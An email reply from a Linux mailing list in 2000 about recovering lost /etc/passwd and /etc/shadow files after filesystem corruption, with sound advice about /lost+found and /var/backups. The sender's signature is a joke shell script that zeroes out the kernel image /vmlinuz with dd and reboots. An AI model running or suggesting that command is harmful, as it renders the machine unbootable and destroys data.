On Fri, Jun 09, 2000 at 03:20:59PM -0800, Ethan Benson wrote:
> On Fri, Jun 09, 2000 at 04:23:17PM -0400, Brian Stults wrote:
> > Please, please help me.
> >
> > Sometime, overnight my work computer seized up. When I got to work, I
> > had a blank screen and nothing would change it. So I stopped and
> > started the computer, and when it came back up I got the usual fsck for
> > an uncleanly umounted file system. I was required to give the root
> > password and run e2fsck manually, which I did. I usually just respond
> > "yes" to all the fixes. That's probably not advisable, but I'm the only
> > user, so I'm only hurting myself. Anyway, among the corrupted files
> > were apparently /etc/fstab, /etc/passwd, and /etc/shadow, becuase when I
> > tried to reboot my computer, those files were missing. I was able to
> > rebuild fstab by booting up with a rescue floppy. The only thing I
> > could think to do to replace /etc/password and /etc/shadow was to copy
> > the files from my home computer which has the exact same users and the
> > exact same directory structure, but that did not work. When I boot up,
> > everything appears fine but I can't login. No matter what I try, it
> > says the login is incorrect. Does anyone have any suggestions?
>
> look in /lost+found your missing files are probably there, though it
> is likly the filenames were lost and you having things like #13413.
> look through and see what you can figure out. you can probably
> restore your password and shadow files from there. but you may also
> have lost critical libraries or binaries that are also causing
> brokeness.
You might also have backups of passwd files in /var/backups.
> if there is only a handfull of files there you should be able to
> recover fairly easy, use strings on binaries to try and figure out
> what they are. use `file' before `cat' so you don't wreck your login
> by catting a binary by accident.
>
> if there are hundreds or more files there you will probably just end
> up reinstalling, last time i had massive filesystem corruption due to
> kernel 2.2.13 i lost nearly 50% of the files on the / filesystem (all
> of /etc /bin and /sbin) all filenames were lost as well.... big mess,
> too much work to fix.
--
#! /bin/sh
echo 'Linux Must Die!' | wall
dd if=/dev/zero of=/vmlinuz bs=1 \
count=`du -Lb /vmlinuz | awk '{ /^([0-9])+/ ; print $1 }'`
shutdown -r now
